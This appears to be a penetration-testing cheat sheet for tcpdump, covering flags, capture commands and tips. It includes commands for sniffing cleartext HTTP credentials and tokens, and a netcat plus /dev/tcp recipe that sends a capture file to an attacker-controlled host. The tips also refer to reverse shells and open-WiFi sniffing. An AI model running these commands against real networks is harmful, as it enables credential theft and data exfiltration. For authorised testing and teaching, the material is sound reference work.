Packet-buffered โ flush each packet to disk immediately
-n / -nn
Donโt resolve hostnames / ports
-A / -X
Print payload as ASCII / hex+ASCII
-c <n>
Stop after n packets
-C <MB> -W <n>
Rotate into n files of MB each
Reusable Commands
# --- background capture to file, flush live, survive a brittle shell ---tcpdump -i <iface> -w /tmp/cap.pcap -U >/tmp/td.log 2>&1 &# stop later: kill %1 (or: pkill tcpdump)# --- quick on-screen look at cleartext HTTP (creds, tokens) ---sudo tcpdump -i <iface> -nnA 'tcp port 80'# POST requests only (match "POST" in the TCP payload):sudo tcpdump -i <iface> -nnA 'tcp port 80 and tcp[((tcp[12:1]&0xf0)>>2):4]=0x504f5354'# --- scope to a host / subnet with a BPF filter ---sudo tcpdump -i <iface> -nn host 10.13.37.10 and port 80sudo tcpdump -i <iface> -nn 'src net 10.13.37.0/24 and not arp'# --- analyse a saved capture ---tcpdump -r /tmp/cap.pcap -nn | lesstshark -r /tmp/cap.pcap -Y 'http.request.method == "POST"' # if tshark present# --- exfil a capture when you can't SCP (noisy but works) ---# attacker: nc -lvnp 9001 > cap.pcap# target: cat /tmp/cap.pcap > /dev/tcp/<LHOST>/9001
Tips & Tricks
Always pair backgrounding (&) with -w <file> โ otherwise decoded packets spam your shell/reverse shell. -U lets you tshark -r the file while itโs still capturing.
On a monitor-mode interface (wlanXmon) tcpdump captures raw 802.11 frames โ ideal for open-WiFi sniffing (see Open WiFi Traffic Sniffing); match the APโs channel first.
BPF cheat: host, net, port, src/dst, combined with and / or / not. Tight filters keep files small.
Often runnable by the wireshark/pcap group without full root โ check group membership during enumeration.